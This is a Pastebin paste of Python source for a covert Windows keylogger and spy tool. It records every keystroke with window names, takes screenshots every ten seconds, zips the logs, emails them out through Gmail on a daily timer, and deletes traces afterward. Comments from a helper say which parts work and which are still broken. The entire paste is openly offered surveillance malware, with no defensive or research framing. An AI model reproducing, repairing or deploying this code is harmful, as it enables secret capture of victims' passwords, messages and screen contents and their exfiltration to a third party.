Advertisement
Guest User

Untitled

a guest
Jun 25th, 2018
183
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.29 KB | None | 0 0
  1. # keylogger
  2. import pyHook, pythoncom
  3. from datetime import datetime
  4.  
  5. # screenshot
  6. from PIL import ImageGrab
  7. from time import sleep
  8. from datetime import datetime
  9. counter =+ 0
  10.  
  11. # zip
  12. from zipfile import ZipFile
  13. import os
  14.  
  15. # email
  16. import smtplib
  17. from email.mime.text import MIMEText
  18. from email.mime.multipart import MIMEMultipart
  19. from email.mime.base import MIMEBase
  20. from email import encoders
  21.  
  22. # delete_extension
  23. import glob
  24.  
  25. # delete_zip
  26. from zipfile import *
  27.  
  28. # threads
  29. import threading
  30.  
  31. ########KEYLOGGER#######
  32.  
  33. todays_date = datetime.now().strftime('%m-%d-%Y')
  34. local_time = datetime.now().strftime('%H:%M:%S')
  35. local_day = datetime.now().strftime('%A')
  36. file_name = 'D:\\Documents\\key\\' + todays_date + '.txt'
  37. # file_name = 'D:\\Documents\\key\\' + todays_date + '.txt'
  38.  
  39. line_buffer = "" #current typed line before return character
  40. window_name = "" #current window
  41.  
  42. def SaveLineToFile(line):
  43. todays_file = open(file_name, 'a') #open todays file (append mode)
  44. todays_file.write(line) #append line to file
  45. todays_file.close() #close todays file
  46.  
  47. def OnKeyboardEvent(event):
  48. global line_buffer
  49. global window_name
  50.  
  51. print 'Ascii:', event.KeyID, chr(event.KeyID) #pressed value
  52. """if typing in new window"""
  53. if (window_name != event.WindowName): #if typing in new window
  54. if (line_buffer != ""): #if line buffer is not empty
  55. line_buffer += '\n'
  56. SaveLineToFile(line_buffer) #print to file: any non printed characters from old window
  57.  
  58. line_buffer = "" #clear the line buffer
  59. SaveLineToFile('\n---WindowName: ' + event.WindowName + ' - ' + local_day + ' - ' + local_time + '\n') #print to file: the new window name
  60. window_name = event.WindowName #set the new window name
  61.  
  62. """if return or tab key pressed"""
  63. if (event.Ascii == 13 or event.Ascii == 9): #return key
  64. line_buffer += '\n'
  65. SaveLineToFile(line_buffer) #print to file: the line buffer
  66. line_buffer = "" #clear the line buffer
  67. return True #exit event
  68.  
  69. """if backspace key pressed"""
  70. if (event.Ascii == 8): #backspace key
  71. line_buffer = line_buffer[:-1] #remove last character
  72. return True #exit event
  73.  
  74. """if non-normal ascii character"""
  75. if (event.Ascii < 32 or event.Ascii > 126):
  76. if (event.Ascii == 0): #unknown character (eg arrow key, shift, ctrl, alt)
  77. pass #do nothing
  78. else:
  79. line_buffer = line_buffer + '\n' + str(event.Ascii) + '\n'
  80. else:
  81. line_buffer += chr(event.Ascii) #add pressed character to line buffer
  82. return True #pass event to other handlers
  83.  
  84.  
  85. # CREATED THIS FUNC FOR THREAD USAGE - PUMPMESSAGES IS THE CULPRIT
  86. def run_keylogger():
  87. print('running keylogger') # TOBEREMOVED
  88. hooks_manager = pyHook.HookManager() #create hook manager
  89. hooks_manager.KeyDown = OnKeyboardEvent #watch for key press
  90. hooks_manager.HookKeyboard() #set the hook
  91. pythoncom.PumpMessages() #wait for events
  92.  
  93.  
  94. ########KEYLOGGER#######
  95. #
  96. ##
  97. ###
  98. ####
  99. #####
  100. ######
  101. ######
  102. #####
  103. ####
  104. ###
  105. ##
  106. #
  107. #######SCREENSHOT#######
  108.  
  109. def screenshot():
  110. while True:
  111. local_time = datetime.now().strftime('%H-%M-%S')
  112. img = ImageGrab.grab()
  113. img.save(local_time + '.jpg'.format(counter))
  114. global count
  115. print('screenshot taken: '+local_time) # TOBEREMOVED
  116. sleep(10)
  117.  
  118. #######SCREENSHOT#######
  119. #
  120. ##
  121. ###
  122. ####
  123. #####
  124. ######
  125. ######
  126. #####
  127. ####
  128. ###
  129. ##
  130. #
  131. #######ZIP#######
  132.  
  133. def get_all_file_paths(directory):
  134. # initializing empty file paths list
  135. file_paths = []
  136.  
  137. # crawling through directory and subdirectories
  138. for root, directories, files in os.walk(directory):
  139. for filename in files:
  140. # join the two strings in order to form the full filepath.
  141. filepath = os.path.join(root, filename)
  142. file_paths.append(filepath)
  143.  
  144. # returning all file paths
  145. return file_paths
  146.  
  147.  
  148. def zip():
  149. directory = 'D:\\Documents\\key\\'
  150.  
  151. # calling function to get all file paths in the directory
  152. file_paths = get_all_file_paths(directory)
  153.  
  154. # printing the list of all files to be zipped
  155. print('Following files will be zipped:')
  156. for file_name in file_paths:
  157. print(file_name)
  158.  
  159. # writing files to a zipfile
  160. with ZipFile('pyDump', 'w') as zip:
  161. # writing each file one by one
  162. for file in file_paths:
  163. zip.write(file)
  164.  
  165. print('All files zipped successfully!') # LOOKS GOOD
  166.  
  167. #######ZIP#######
  168. #
  169. ##
  170. ###
  171. ####
  172. #####
  173. ######
  174. ######
  175. #####
  176. ####
  177. ###
  178. ##
  179. #
  180. #######EMAIL#######
  181.  
  182. def email():
  183. email_user = 'email' #
  184. email_password = 'password'
  185. email_send = 'sentEmail'
  186.  
  187. subject = 'Test Logging'
  188.  
  189. msg = MIMEMultipart()
  190. msg['From'] = email_user
  191. msg['To'] = email_send
  192. msg['Subject'] = subject
  193.  
  194. body = 'Hi there, sending this email from Python!'
  195. msg.attach(MIMEText(body,'plain'))
  196.  
  197. filename='filename'
  198. attachment =open(filename,'rb')
  199.  
  200. part = MIMEBase('application','octet-stream')
  201. part.set_payload((attachment).read())
  202. encoders.encode_base64(part)
  203. part.add_header('Content-Disposition',"attachment; filename= "+filename)
  204.  
  205. msg.attach(part)
  206. text = msg.as_string()
  207. server = smtplib.SMTP('smtp.gmail.com',587)
  208. server.starttls()
  209. server.login(email_user,email_password)
  210.  
  211. server.sendmail(email_user,email_send,text)
  212. server.quit()
  213.  
  214. # send email every 24 hours
  215. def send_email():
  216. nextDay = datetime.now() + datetime.timedelta(days=1)
  217. dateString = nextDay.strftime('%d-%m-%Y') + " 01-00-00"
  218. newDate = nextDay.strptime(dateString,'%d-%m-%Y %H-%M-%S')
  219. delay = (newDate - datetime.now()).total_seconds()
  220. Timer(delay,email,()).start()
  221. # AFTER THIS LINE, CALL THE FUNCTIONS TO DELETE WHAT YOU NEED
  222.  
  223. #######EMAIL#######
  224. #
  225. ##
  226. ###
  227. ####
  228. #####
  229. ######
  230. ######
  231. #####
  232. ####
  233. ###
  234. ##
  235. #
  236. #######DELETE_EXTENSION#######
  237.  
  238. def delete_extension(): # Now deletes .jpg extension files in directory listed
  239. directory='D:\\Documents\\ss\\'
  240. os.chdir(directory)
  241. files=glob.glob('*.jpg')
  242. for filename in files:
  243. os.unlink(filename)
  244. print('.jpg deleted') # TOBEREMOVED
  245.  
  246.  
  247. #######DELETE_EXTENSION#######
  248. #
  249. ##
  250. ###
  251. ####
  252. #####
  253. ######
  254. ######
  255. #####
  256. ####
  257. ###
  258. ##
  259. #
  260. #######DELETE_ZIP#######
  261.  
  262. def delete_zip():
  263. timestamp = int(time.time())
  264. unixTime = str(timestamp)
  265.  
  266. file_name = "a_" + unixtime + ".zip"
  267. zip_archive = ZipFile(file_name, "w", ZIP_DEFLATED)
  268.  
  269. for file in os.listdir('D:\\Documents\\key\\'):
  270. if file.endswith(".jpg"):
  271. zip_archive.write(file)
  272. os.remove(file)
  273.  
  274. zip_archive.close()
  275. print('.zip deleted') # TOBEREMOVED
  276.  
  277. #######DELETE_ZIP#######
  278. #
  279. ##
  280. ###
  281. ####
  282. #####
  283. ######
  284. ######
  285. #####
  286. ####
  287. ###
  288. ##
  289. #
  290. #######THREAD#######
  291.  
  292. def main():
  293. # create threads
  294. run_keylogger_thread = threading.Thread(target=run_keylogger)
  295. screenshot_thread = threading.Thread(target=screenshot)
  296. zip_thread = threading.Thread(target=zip)
  297. send_email_thread = threading.Thread(target=send_email)
  298. delete_extension_thread = threading.Thread(target=delete_extension)
  299. delete_zip_thread = threading.Thread(target=delete_zip)
  300.  
  301. # start threads - HERE I COMMENTED EACH ONE OUT SO YOU CAN TEST THEM INDIVIDUALLY
  302. run_keylogger_thread.start() # CHANGED THE PREVIOUSLY COMMENTED LINE. MAY PARTIALLY WORK NOW
  303. # screenshot_thread.start() # CHANGED LOCATION OF LOCAL TIME - SHOULD WORK PROPERLY NOW
  304. # zip_thread.start() - WORKS
  305. # send_email_thread.start() - # CHANGED DT TO DATETIME - SHOULD WORK NOW
  306. # delete_extension_thread.start() - WORKS
  307. # delete_zip_thread.start() - int. not called?
  308.  
  309. # comment each thread out to test functionality
  310. # 1. test keylogger by making sure that the file is actually created and has stuff appended to it. the code looks mostly fine so
  311. # eventually it will work. also id recommend adding everything to the c drive so you can reference it easily in the code. I made the changes above already
  312. # 2. screenshot will be an easy one to fix.just keep trying different things until one works. there are functions available online to make it easy
  313. # 3. zip is easy as well. I suspect that you have figured this one out alreadu
  314. # 4. send email. you confirmed this function to work
  315. # 5. delete extension - just finding the files
  316. # 6. delete zip thread - same as 5. could be eliminated for brevity
  317.  
  318. main()
  319.  
  320. #######THREAD#######
  321. #
  322. ##
  323. ###
  324. ####
  325. #####
  326. ######
  327. ######
  328. #####
  329. ####
  330. ###
  331. ##
  332. #
  333. #######INFO#######
  334.  
  335. '''
  336. Functions:
  337. run_keylogger
  338. screenshot
  339. zip
  340. send_email
  341. delete_extension
  342. delete_zip
  343.  
  344. '''
  345.  
  346. '''
  347. threading works by adding each function to a queue and starting them at your convenience.
  348. You can control the order of the initialization by arranging the order of the start methods.
  349. You can also pass arguments to functions like so: target=FUNCTION_NAME , args = (ARGS) -------> def FUNCTION_NAME(ARGS): print('hi')
  350. '''
  351.  
  352. ''' let me know if this works for you. I haven't tested it on my system'''
  353. #######INFO#######
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement